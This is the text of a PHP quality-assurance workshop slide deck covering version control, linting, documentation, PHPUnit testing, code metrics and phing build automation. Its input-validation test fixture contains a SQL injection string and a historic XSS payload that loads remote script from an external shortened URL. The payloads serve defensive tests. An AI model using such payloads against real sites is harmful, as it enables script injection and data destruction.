105
QA for PHP projects in it 2 PROFESSIONAL PHP SERVICES

QA for PHP projects

Embed Size (px)

Citation preview

QA for PHP projects

in it2PROFESSIONAL PHP SERVICES

Requirements

• VirtualBox http://virtualbox.com

• Vagrant https://vagrantup.com

• Copy of https://github.com/in2it/phpqa-workshop

• Copy of https://github.com/in2it/phpqa-testing

Michelangelo van Dam!!

PHP Consultant Community Leader

President of PHPBenelux Contributor to PHP projects

!T @DragonBe | F DragonBe

http

s://w

ww.

flick

r.com

/pho

tos/

akra

bat/8

7843

1881

3

Using Social Media?Tag it #phpqa

http

://w

ww.

flick

r.com

/pho

tos/

andy

ofne

/463

3356

197

http

://w

ww.

flick

r.com

/pho

tos/

andy

ofne

/463

3356

197

What is QA? Testing

Measuring Automation

What is QA?

http

s://w

ww.

flick

r.com

/pho

tos/

infid

elic

/430

6205

887

Detect bugs early

http

s://w

ww.

flick

r.com

/pho

tos/

goin

gslo

/452

3034

319

Observe behaviour

http

s://w

ww.

flick

r.com

/pho

tos/

yuan

2003

/181

2881

370

Prevent mistakes

http

s://w

ww.

flick

r.com

/pho

tos/

robe

rtely

ov/5

1598

0117

0

Track progress

http

s://w

ww.

flick

r.com

/pho

tos/

ding

atx/

4115

8440

00

Important QA tools

http

s://w

ww.

flick

r.com

/pho

tos/

floria

nric

/726

3382

550

Version Control

http

s://w

ww.

flick

r.com

/pho

tos/

mrm

yle/

2327

6860

10

Subversion

GIT

GitHub

Bitbucket

Mercurial

Bazaar

Perforce

Team Foundation Server

File Transfer Protocol

FTP

Advantages of SCM

• Team development

• Multi-versions management

• Keep track of history

• Tagging milestones

• Backup of source code

• Full integration http

s://w

ww.

flick

r.com

/pho

tos/

skoo

p/53

9723

2723

Exercise

• Start a new project “phpqa-intro”

• Initialise it as a GIT project

• Create a “hello world” php script

• Add it to the repository & commit

Possible answer

$ cd workspace$ mkdir phpqa-intro$ cd phpqa-intro$ git init$(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php$(master #) git add helloworld.php$(master #) git commit -m 'Initial version of helloworld'[master (root-commit) 174c675] Initial commit of helloworld 1 file changed, 1 insertion(+) create mode 100644 helloworld.php$(master)

Syntax Checking

http

s://w

ww.

flick

r.com

/pho

tos/

roor

eyno

lds/

4133

5498

89

PHP LintBuild-in PHP!

PHP Lintphp -l <filename>

GIT pre-commit hookhttps://github.com/ReekenX/phpcheck-git

Exercise• Download the pre-commit hook from http://in2.se/

phplintgit (or get it from the USB drive)

• Make sure you make it executable

• Create a syntax error in error.php and commit it

• See you get the error and ensure the file is not committed.

Possible answer$(master) git checkout -b phplint$(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit$(phplint) chmod ugo+x .git/hooks/pre-commit$(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php$(phplint) git add error.php$(phplint +) git commit -m 'Trying to add code with errors'Syntax errors found in file: error.php!Found PHP parse errors:PHP Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-intro/error.php on line 2!PHP parse errors found. Fix errors and commit again.$(phplint +)

Documentation

http

s://w

ww.

flick

r.com

/pho

tos/

jank

unst

/647

8327

983

Why providing docblocks?

• Useful information about the class, method or logic

• Provides hints in IDE’s

• Great reference for

• New team members

• 3rd party developers http

s://w

ww.

flick

r.com

/pho

tos/

mun

doo/

2293

4934

20

phpDocumentorhttp://phpdoc.org

PHAR://

http://phpdoc.org/phpDocumentor.pharOther installations: Composer, PEAR, Source

Exercise

• Create a class with a couple of methods (or use the class in “exercise/MyClass.php”)

• Run phpdoc against this class

./vendor/bin/phpdoc  -­‐d  exercise/phpdoc  -­‐t  build/phpdoc  

• See the resulting documentation files at http://192.168.166.166/phpdoc

Testing

http

s://w

ww.

flick

r.com

/pho

tos/

akra

bat/8

4215

6017

8

Most common excuses why developers don’t test

• no time

• no budget

• deliver tests after finish project (never)

• devs don’t know how

http

s://w

ww.

flick

r.com

/pho

tos/

dasp

rid/8

1479

8630

7

No excuses!

http

s://w

ww.

flick

r.com

/pho

tos/

akra

bat/8

4215

6017

8

Let’s get started

http

s://w

ww.

flick

r.com

/pho

tos/

florid

amem

ory/

3295

4061

93

PHPUnit & Composer

{      "require":  {          "php":  "<=5.5.0"      },      "require-­‐dev":  {          "phpunit/phpunit":  "~4.4"      },  }

phpunit.xml

<?xml  version="1.0"  encoding="UTF-­‐8"?>  !<phpunit          bootstrap="./vendor/autoload.php"          colors="true"          strict="true"          stopOnError="true"          stopOnFailure="true">  !        <testsuite  name="PHPQA  Workshop  TestSuite">                  <directory>./tests</directory>          </testsuite>  !</phpunit>

Testing models

http

s://w

ww.

flick

r.com

/pho

tos/

fdec

omite

/271

0132

377

Simple Comment Class

CommentTest<?php  namespace  Phpqa\Tests\Model;  !use  Phpqa\Model\Comment;  !class  CommentTest  extends  \PHPUnit_Framework_TestCase  {          public  function  testModelIsPopulatedAtConstruct()          {                  $data  =  [                          'commentId'        =>  1,                          'fullName'          =>  'Johny  Test',                          'emailAddress'  =>  '[email protected]',                          'website'            =>  'http://johnytest.com',                          'comment'            =>  'This  is  a  comment',                  ];  !                $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }  }  

CodeCoverage

Exercise

• Test Comment class that you can convert it directly into an array

• BONUS: Also test you can convert it into JSON

Testing Databases

http

s://w

ww.

flick

r.com

/pho

tos/

shin

dotv

/383

5365

695

A few remarks• Testing against databases is “integration testing”

• Testing against databases is slow

• Testing against databases is only useful for

• triggers & stored procedures

• correct encoding and collations

Data is just “Data”

fzaninotto / Fakerhttps://github.com/fzaninotto/Faker

Generated data        /**            *  Provides  data  that  we  consider  to  be  safe  and  of  quality            *  @return  array            */          public  function  goodDataProvider()          {                  $faker  =  \Faker\Factory::create();                  $data  =  [];                  for  ($iter  =  0;  $iter  <  500;  $iter++)  {                          $data[]  =  [                                  'commentId'        =>  rand(1,  time()),                                  'fullName'          =>  $faker-­‐>name,                                  'emailAddress'  =>  $faker-­‐>email,                                  'website'            =>  $faker-­‐>url,                                  'comment'            =>  $faker-­‐>text(),                          ];                  }                  return  $data;          }

Modify our test

       /**            *  @dataProvider  goodDataProvider            */          public  function  testModelIsPopulatedAtConstruct($data)          {                  $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }

http

s://w

ww.

flick

r.com

/pho

tos/

bolto

fblu

e/57

2493

4828

http://xkcd.com/327/

Little Bobby Tables

Is this your project?

OWASP Top 10https://www.owasp.org/index.php/Top_10_2013-Top_10

Bad Data provider

http

://en

.wik

iped

ia.o

rg/w

iki/C

ompu

ter_

viru

s

First modify our class<?php  namespace  Phpqa\Model;  !use  \Zend\InputFilter\InputFilter;  use  \Zend\InputFilter\Input;  use  \Zend\Filter;  use  \Zend\Validator;  !class  Comment  {          /**            *  @var  InputFilter            */          protected  $inputFilter;          /**            *  @return  InputFilter            */          public  function  getInputFilter()          {                  //  Lazy  loading  of  filter  and  validation  rules                  if  (null  ===  $this-­‐>inputFilter)  {                  }                  return  $this-­‐>inputFilter;          }

Filter/Validate

       $commentId  =  new  Input('commentId');          $commentId-­‐>getFilterChain()                  -­‐>attach(new  Filter\Int());          $commentId-­‐>getValidatorChain()                  -­‐>attach(new  Validator\GreaterThan(['min'  =>  0]));  !        $fullName  =  new  Input('fullName');          $fullName-­‐>getFilterChain()                  -­‐>attach(new  Filter\StringTrim())                  -­‐>attach(new  Filter\StripTags())                  -­‐>attach(new  Filter\HtmlEntities());          $fullName-­‐>getValidatorChain()                  -­‐>attach(new  Validator\NotEmpty())                  -­‐>attach(new  Validator\StringLength(['min'  =>  5,  'max'  =>  150]));

Filter/Validate (2)        $emailAddress  =  new  Input('emailAddress');          $emailAddress-­‐>getFilterChain()                  -­‐>attach(new  Filter\StringToLower());          $emailAddress-­‐>getValidatorChain()                  -­‐>attach(new  Validator\NotEmpty())                  -­‐>attach(new  Validator\EmailAddress());  !        $website  =  new  Input('website');          $website-­‐>getFilterChain()                  -­‐>attach(new  Filter\StringToLower());          $website-­‐>getValidatorChain()                  -­‐>attach(new  Validator\Uri());  !        $comment  =  new  Input('comment');          $comment-­‐>getFilterChain()                  -­‐>attach(new  Filter\StripTags())                  -­‐>attach(new  Filter\HtmlEntities());

InputFilter

       $inputFilter  =  new  InputFilter();          $inputFilter-­‐>add($commentId)                  -­‐>add($fullName)                  -­‐>add($emailAddress)                  -­‐>add($website)                  -­‐>add($comment);  !        $this-­‐>setInputFilter($inputFilter);

badDataProvider        /**            *  Provides  data  that  we  consider  to  be  unsafe            *  @return  array            */          public  function  badDataProvider()          {                  return  [                          [                                  [                                          'commentId'        =>  0,                                          'fullName'          =>  '',                                          'emailAddress'  =>  '',                                          'website'            =>  '',                                          'comment'            =>  '',                                  ]                          ],[                                  [                                          'commentId'        =>  'Little  Bobby  Tables',                                          'fullName'          =>  'Robert\');  DROP  TABLE  `students`;  -­‐-­‐',                                          'emailAddress'  =>  'clickjack@hackers',                                          'website'            =>  "http://t.co/@\"style=\"font-­‐size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/",                                          'comment'            =>  'exploit  twitter  9/21/2010',                                  ]                          ],                  ];          }

our bad data test

       /**            *  @dataProvider  badDataProvider            */          public  function  testCommentIsProtectedAgainstHacks($data)          {                  $comment  =  new  Comment();                  $comment-­‐>getInputFilter()-­‐>setData($data);                  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());          }

Exercise

• Add some more “badData” entries

• See if the validation rules hold

• Test one of the latest exploits

Wanna know more…Come and see me after the workshop

Measuring

http

s://w

ww.

flick

r.com

/pho

tos/

bate

ga/2

0569

4926

4

pdepend

• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls

pDepend info

• metric calculation • execution paths • independent control structures • if, else, for, foreach, switch case, while, do, … • within a single method or function • more info

http://en.wikipedia.org/wiki/Cyclomatic_complexity

Cyclomatic Complexity

• The average of the maximum length from a root class to its deepest subclass

Average Hierarchy Height

Pyramid Inheritance

few classes derived from other classes

lots of classes inherit from other classes

Inheritance

Pyramid complexitySize and complexity

Pyramid Coupling

Coupling

pDepend-graph

PHP Mess Detection

http

s://w

ww.

flick

r.com

/pho

tos/

avlx

yz/2

1451

1214

9

What?• detects code smells

• possible bugs

• sub-optimal code

• over complicated expressions

• unused parameters, methods and properties

• wrongly named parameters, methods or properties

Example output./vendor/bin/phpmd exercise/ html

cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./build/logs/phpmd.html

Copy/Paste Detection

http

s://w

ww.

flick

r.com

/pho

tos/

kale

xand

erso

n/61

1324

7118

What?• detects similar code snippets

• plain copy/paste work • similar code routines

• indicates problems • maintenance hell • downward spiral of disasters

• stimulates improvements • refactoring of code • moving similar code snippets in common routines

PHP_CodeSniffer

http

s://w

ww.

flick

r.com

/pho

tos/

crea

te_u

p/34

7519

5695

What?• validates coding standards

• consistency • readability

• set as a policy for development • reports failures to meet the standard • sometimes good: parentheses on wrong line • mostly bad: line exceeds 80 characters • but needed for terminal viewing of code

• can be set as pre-commit hook • but can cause frustration!!!

Exercise

• Run the following commands against “MyClass” • pdepend • phpmd • phpcpd • phpcs (php_CodeSniffer)

• What is the result?

Automation

http

s://w

ww.

flick

r.com

/pho

tos/

freef

oto/

5982

5499

38

Using phingThe PHP builder http://phing.info

build.xml<?xml  version="1.0"  encoding="UTF-­‐8"?>  <project  name="PHPQA  Workshop"  default="build">          <fileset  dir="${project.basedir}"  id="files">                  <include  name="${project.basedir}/exercise/**"/>          </fileset>          <target  name="php-­‐lint"  description="Run  syntax  checking  on  the  codebase">                  <phplint>                          <fileset  refid="files"/>                  </phplint>          </target>          <target  name="php-­‐doc"  description="Generate  automated  documentation">                  <exec                          command="./vendor/bin/phpdoc  run  -­‐d  exercise/  -­‐t  build/phpdoc/"                          dir="${project.basedir}"/>          </target>          <!-­‐-­‐  ...  -­‐-­‐>            <target  name="build"  description="The  build  process">                  <phingcall  target="php-­‐lint"/>                  <phingcall  target="php-­‐doc"/>                  <phingcall  target="php-­‐depend"/>                  <phingcall  target="php-­‐md"/>                  <phingcall  target="php-­‐cpd"/>                  <phingcall  target="php-­‐cs"/>          </target>  </project>  

Benefits

• Everyone executes the processes the same

• Including automated CI tools

• Once a new “target” is defined, it’s available

There’s more with phing• auto upgrade databases

• warming up caches

• deploy over multiple nodes

• collect statistics

• perform benchmark/performance tests

• …

Easy CI integration

• Jenkins CI

• JetBrains TeamCity

• Atlassian Bamboo

• ContinuousPHP

http

s://w

ww.

flick

r.com

/pho

tos/

lwr/1

3442

5422

35

Contact us

in it2PROFESSIONAL PHP SERVICES

Michelangelo van Dam [email protected] !www.in2it.be

PHP Consulting - Training - QA

Join the fun!

PHPB ENELUX

phpbenelux.eu

Thank youHave a great conference

http

://w

ww.

flick

r.com

/pho

tos/

drew

m/3

1918

7251

5